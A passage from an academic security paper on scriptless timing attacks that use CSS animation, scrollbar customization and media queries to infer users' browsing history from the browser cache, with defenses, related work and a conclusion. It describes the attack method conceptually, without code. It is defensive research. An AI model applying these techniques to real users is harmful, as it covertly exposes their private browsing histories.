attacks is simply to turn the caching off. This will completely

prevent the attacks, but also incur an unacceptable perfor-

mance penalty. In fact, nearly 60% of HTTP queries are

requests for resources which are cacheable [30]. Obviously,

to turn off caching is an impractical defense approach.

Alternatively, Jackson et al. implemented a Firefox extension

SafeCache to prevent timing attacks by enforcing a same-

origin policy on the browser cache [19]. The extension

overrides the browser’s default caching service such that

the browser cache is partitioned and isolated for different

domains. SafeCache can provide effective defense for both

traditional timing attacks and scriptless timing attacks. But,

unfortunately, it has not been adopted by browser vendors

and is not available for more recent Firefox versions. We

believe that browser vendors should adopt the technique as

a built-in security feature, although it may introduce some

storage overhead.

Our method exploits some CSS features instead of exe-

cuting scripts. By removing the support of the features in

browsers, this scriptless attack can be prevented. However,

abandoning such features completely may be unacceptable

for web application developers and users. A possible tradeoff

is to properly limit the capability of the features. For exam-

ple, for CSS scrollbar customization, we can design a same-

origin policy on the container’s content to block suspicious

requests sent using scrollbar customizations. Specifically,

the requests are allowed to issue only when they are sent

to the same domains with the contents embedded in the

container. Taking the attack pages in Section III as examples,

if the requests triggered by the increment track pieces can

only are sent to the embedded contents’ original website

(i.e., www.nsf.gov). Consequently, nothing will be leaked to

the attackers. But, unfortunately, for the attacks using CSS

media queries, the defense is ineffective. In fact, there is

not a direct relationship between the media queries used to

send request and the target resource. It is very difficult, if

not impossible, to find an appropriate rule to identify the

suspicious requests. Essentially, this kind of attack is relied

on the fact that the browsers load non-cached resources in a

certain order, i.e., the objects placed on the top of the attack

page is often loaded and rendered prior to the other ones. If

we can make the browsers to load non-cached resources in a

random order, the false negative of comparison-based attacks

may be dramatically increased. We think that a feasible

mitigation technique with low overhead could be developed

based on the approach.

VI. DISCUSSION

A natural concern is whether an image query on search

engines, e.g., Google, can introduce false positives. If the

target image is presented in the result page when users

perform an image search, it may be stored in the cache. In

fact, queries against search engines almost do not introduce

false positives in our method. In general, when searching

images, the sample images presented in the result pages

returned from the search engine are not the original images.

For example, the sample images provided by Google are

the thumbnails of original images, which are generated by

Google and stored on their servers. If a user doesn’t view

the original image, it will not be cached by the browser.

Furthermore, attackers can choose some images that are

hardly hit by search engines as the sniffing objects, such

as the background images of web pages. Normally, the

semantic relationship between the background image and the

page content is very weak. In other words, even the users

query images with the keywords related to the target URL,

the background image is very unlikely to be touched.

Older history stealing attacks exploiting browser bugs

could probe tens of thousands of sites within a few minutes,

but now lack effectiveness since these bugs are fixed. As

a timing attack, our method inevitably takes longer time

to probe a target site. However, in many cases, attackers

may just need to know whether the victim has visited a

limited number of sites: a site may only want to inspect
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whether users have visited several competitors’ sites. The

additional experiment shows our approach can probe dozens

of URLs within a few minutes. Our attack approach is

efficient enough for this kind of attack scenario.

Besides, it should be noted that there may be some

other browsers’ features which can be exploited to inspect

resources loading and rendering. With more dynamic and

interactive features introduced in browsers at present, we

believe that more exploitable features will be available.

VII. RELATED WORK

History sniffing attacks have recently received significant

attention. Given the users’ browsing histories, the attacker

can cause extensive damage [20, 31].

The most widespread history sniffing technique is the

CSS-based attack that leverage CSS markups to determine

which websites have been visited by users in the past [14].

The attacks have proven effective and efficient. The study of

Janc et al. [21] has shown that this technique can be used to

detect browser history on a large scale. CSS-based history

sniffing is documented as bug reports by many browsers,

e.g., Bug 57351 reported in Mozilla Firefox [27]. The history

stealing attacks exploiting browser bugs could probe tens

of thousands of sites within a few minutes, but now lack

effectiveness since these bugs are fixed. To fix these bugs,

Baron of Mozilla Corporation composes a solution [10] that

blocks CSS-based attacks by making the computed style

APIs pretend that all links are unvisited. All mainstream

browsers, including Firefox, Chrome, Safari and IE, have

adopted this solution. As a result, this kind of history sniffing

is no longer operational in the latest versions of these

browsers. As a timing attack, our method may take longer

time to probe a target site. However, in many cases, attackers

may just need to know whether the victim has visited a

limited number of sites: a site may only want to inspect

whether users have visited several competitors. Our attack

approach is efficient enough for this kind of attack scenario.

Another general technique of history sniffing is defined

under the umbrella of side channel attacks. These can

be used to leak private information while bypassing the

system’s security policy. They are difficult to find and often

cannot be eliminated without destroying other desirable

characteristics of the system [16].

Among all the types of side channel attacks, timing attacks

proposed by Felten and Schneider [15] are the ones most

well-known. The attacks rely on the fact that the load time

of the resource in web page can indicate whether it hits

in browser cache. Because the cache is global, the third-

party website can also acquire knowledge about whether

some sources cache in browsers by measuring the load time.

Similarly, Bortz and Boneh displayed how to use timing

attacks to expose private information from web applications

[11], and Michal presented an attack method that combines

the same-origin policy with cache-based timing attacks [26].

Brewster has shown another attack approach in his study

[12]. For those sites in which users likely remain logged for

a long period (e.g., Facebook), some resources are usually

only available for those logged-in users. If an attacker can

get one of those resources’ URL, he or she can attempt

to load it and use the JavaScript onerror event to get the

error information. From these errors, it is possible to extract

the information about whether or not a user is logged

in certain websites. Besides utilizing page caching, some

researchers also conduct history sniffing by utilizing DNS

caching [17, 23] or cached cookies [15]. For example, the

prefetch DNS technique allows some popular browsers, such

as Firefox and Chrome, to reveal the search entry made by

users [23]. As DNS cache can be shared in local network,

attackers can also get its content by making queries of it

[17]. In addition, timing attacks have also been used in some

other domains. For example, Chen et al. have demonstrated

the side-channel leaks in popular web applications based on

timing attack [13].

Timing attack is by no means the only type of side-

channel attacks. Weinberg et al. discovered that attacker can

utilize users’ webcam to sniff their browsing histories [29].

However, the attack is very difficult to exploit in practice.

They also proposed an approach of stealing browsing history

via user interactions. Compared with it, our method does not

need the users to perform certain operations when browsing

attack pages.

To the best of our knowledge, all the attacks on users’

browsing histories really happened in recent years, including

CSS-based and timing attacks, are script-based. Due to

serious threats posed by client-side scripts, many defense

techniques have been proposed to block the execution of

suspicious scripts in user’s browsers [1, 4, 5, 7, 24, 28].

Recently, Heiderich et al. put forward a new attack tech-

nique called scriptless attack [18], and Zalewski presented

some alternatives to direct script injection [32]. Based on

these studies, the attacker can steal sensitive page contents

without executing scripts via abusing legitimate browser

characteristics, such as some CSS3 features. Our research

is inspired by their studies. The greatest distinction between

our work and the method proposed by Heiderich et al. lies in

we exploit CSS features in different ways and for different

purposes. In our work, CSS features are employed as a

timing measure tool, not a page content extractor. Compared

with their work, we demonstrate that CSS features can be

leveraged to sense out-of-page sensitive information rather

than only the within-page content.

VIII. CONCLUSION

In this paper, we presented a new timing attack method

for sniffing users’ browsing histories. What differentiates our

approach from the existing attack methods is a non-reliance

on the execution of client-side scripts and can be applicable

to modern browsers. We found that three CSS features, i.e.,
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CSS animation, scrollbar customization, and media queries,

can be exploited to monitor the rendering process of a

resource. This provides an indirect but effective way to

determine whether a resource exists in the browser cache.

Combining these CSS features with selected standard brows-

er features, we have developed three practical attack vectors.

We examined the effectiveness for desktop and mobile

computer systems by applying them to six popular browsers,

including IE, Firefox, and four Webkit-based browsers in

our evaluation. The experiment results show that the three

attack vectors can effectively sniff users’ browsing histories.

Especially by using media queries, the attack vector can

be applied to all six popular browsers with very low false

positive and false negative rates. Our research demonstrated

that browsers are still suffering serious browsing histories’

leakage threats even when they are protected by scripts’

blocking tools.

In the future, we will perform an elaborated investiga-

tion to reveal additional exploitable browser mechanisms.

With more dynamic and interactive features introduced in

browsers in present times, we have reasons to believe

that more exploitable features will emerge, needing prompt

identification and subsequent defense approaches.
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